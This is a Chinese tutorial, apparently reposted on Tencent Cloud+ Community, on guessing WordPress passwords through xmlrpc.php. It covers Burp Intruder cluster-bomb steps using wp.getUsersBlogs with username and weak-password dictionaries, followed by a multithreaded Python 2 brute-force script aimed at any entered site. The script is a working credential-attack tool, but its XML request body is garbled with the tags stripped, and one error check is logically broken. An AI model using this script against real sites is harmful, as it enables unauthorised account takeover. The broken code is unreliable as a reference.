WordPress-XMLRPC利用

在得到了WordPress的用户名之后,这时需要尝试哪些用户名使用了弱密码,以便获取更多的信息。

WordPress虽然默认没有验证码,但是再尝试次数上进行了限制,所以不能直接通过暴力破解登录接口。

WordPress上存在一个可以进行暴力猜解用户名密码的漏洞,通过调用xmlrpc.php可以验证当前提交的用户名密码是否正确。

通过直接访问http://domain/xmlrpc.php,来查看当前站点上是否存在该文件。

XMLRPC是使用http协议作为传输协议的RPC机制,使用XML文本的方式传输命令和数据。

RPC Client,向RPC Server调用方法,并接收相应的返回数据。

RPC Server,响应RPC Client的请求,执行相应的方法,并将执行的结果返回给RPCClient

RPC(Remote Procedure Call)远程过程调用,是一种在本地的机器上调用远端机器上函数方法的技术。

WordPress提供这样的方法,通过xml格式进行调用。适当的方法使用可以达到探测远程用户密码的效果。

在WordPress中包含的XMLRPC接口如下:

wp.getUsersBlogs

wp.getTags

wp.getAuthors

wp.getOptions

wp.getPostStatusList

wp.getPostFormats

wp.getComments

wp.getCommentCount

wp.getComment

wp.deleteComment

wp.editComment

wp.newComment

wp.getCommentStatusList

wp.getPageStatusList

wp.getPageTemplates

wp.getPage

wp.getPages

wp.getPageList

wp.newPage

wp.deletePage

wp.editPage

wp.getCategories

wp.newCategory

wp.deleteCategory

wp.suggestCategories

wp.uploadFile

wp.getMediaLibrary

wp.getMediaItem

可以看到WordPress提供的调用方法还是很多的,每个方法都需要提交参数,系统接收到参数之后会根据实际情况返回数据。以wp.getUsersBlogs为例

该方法所需要的参数为用户名和密码。服务器会根据是否提供了正确的用户名密码来返回一个已定义的数据结构。批量调用该方法可以达到验证用户密码的效果。

先通过Burp获取wordpress用户名:

收集的弱密码字典需要进行简单的处理,例如:排序、去重。

使用得到的用户名和弱密码字典进行破解,浏览器访问xmlrpc.php,通过Burp抓包,将GET方法改为POST方法,并在内容段中添加XML代码;做好以上步骤之后提交该数据包。

发送之后将该数据包发送到intruder,将用户明和密码字段设为变量,将Attacktype设为Clusterbomb

在Payloads中将两个变量分别设置字典

在options中将需要单独显示出来的判断字符串提取出来

开始破解

也可使用Python编写脚本进行破解,简单的多线程脚本如下所示:

#!/usr/bin/env python

#encoding: utf-8

#date: 2018-04-08

import urllib2

import re

import urllib

import threading

class brute (threading.Thread):

def __init__(self, user, passname, requrl):

threading.Thread.__init__(self)

self.user = user

self.passname = passname

self.requrl = requrl

def run(self):

f_password = open(self.passname, "r")

for key in f_password:

reqdata = 'wp.getUsersBlogs\

' + self.user + \

'

' + key + \

''

req = urllib2.Request(url=self.requrl, data=reqdata)

result = urllib2.urlopen(req).read()

if "isAdmin" in result:

print "username :" + self.user + "password :" + key

break

elif "faultString" and "403" in result:

continue

else:

print "Unknown error"

print (self.user + "is over!")

f_password.close()

def GetUrl():

urlinput=raw_input("请输入wordpress站点:")

requrl="http://"+re.match(r"(http://)?(.*)",urlinput).group(2)+"/xmlrpc.php"

print "尝试利用:"+requrl

return requrl

def Aviable(requrl):

html = urllib.urlopen(requrl).read()

if html == 'XML-RPC server accepts POST requests only.':

print "\n该站点存在此漏洞,尝试破解中:"

return True

else :

print "抱歉,此站点漏洞不可用"

print "网页返回:\n "+html

return False

def Exploit():

requrl = GetUrl()

passname = "./test/pass.txt"

if Aviable(requrl) :

f_username = open("./test/user.txt","r")

for name in f_username:

t = brute(name, passname, requrl)

t.start()

print "线程已全部派发"

f_username.close()

if __name__ == '__main__' :

Exploit()

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180410G0AYCJ00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券